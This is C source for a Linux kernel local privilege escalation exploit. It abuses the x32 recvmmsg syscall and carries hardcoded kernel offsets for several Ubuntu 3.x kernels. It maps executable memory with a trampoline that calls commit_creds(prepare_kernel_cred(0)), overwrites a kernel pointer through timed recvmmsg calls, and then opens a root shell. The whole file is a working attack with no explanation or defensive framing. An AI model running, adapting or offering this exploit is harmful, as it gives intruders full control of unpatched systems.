#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
int port;
struct offset {
char *kernel_version;
unsigned long dest;
unsigned long original_value;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
struct offset offsets[] = {
{ "3.11.0-15-generic" ,0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0},
{ "3.11.0-12-generic" ,0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40},
{ "3.8.0-19-generic" ,0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500},
{NULL,0,0,0,0}
};
void udp( int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;
if (fork() == 0) {
while (s > 0) {
fprintf(stderr, "\rbyte %d / 3.. ~%d secs left \b\b\b\b" ,b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr, "." );
}
sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd, "1" ,1,0,( struct sockaddr *)&servaddr, sizeof (servaddr));
exit(0);
}
}
void trigger() {
open( "/proc/sys/net/core/somaxconn" ,O_RDONLY);
if (getuid() != 0) {
fprintf(stderr, "not root, ya blew it!\n" );
exit(-1);
}
fprintf(stderr, "w00p w00p!\n" );
system( "/bin/sh -i" );
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static int __attribute__((regparm(3)))
getroot( void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
void __attribute__((regparm(3)))
trampoline()
{
asm( "mov $getroot, %rax; call *%rax;" );
}
int main( void )
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;
uname(&u);
for (i=0;offsets[i].kernel_version != NULL;i++) {
if (!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break ;
}
}
if (!off) {
fprintf(stderr, "no offsets for this kernel version..\n" );
exit(-1);
}
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
srand(time(NULL));
port = (rand() % 30000)+1500;
commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
mmapped = ( long )mmap(( void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if (mmapped == -1) {
perror( "mmap()" );
exit(-1);
}
memset(( char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy(( char *)mmapped + sysconf(_SC_PAGE_SIZE), ( char *)&trampoline, 300);
if (mprotect(( void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror( "mprotect()" );
exit(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror( "socket()" );
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, ( struct sockaddr *) &sa, sizeof (sa)) == -1) {
perror( "bind()" );
exit(-1);
}
memset(msgs, 0, sizeof (msgs));
iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;
for (i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, ( void *)off->dest+7-i);
if (!retval) {
fprintf(stderr, "\nrecvmmsg() failed\n" );
}
}
close(sockfd);
fprintf(stderr, "\n" );
trigger();
}
|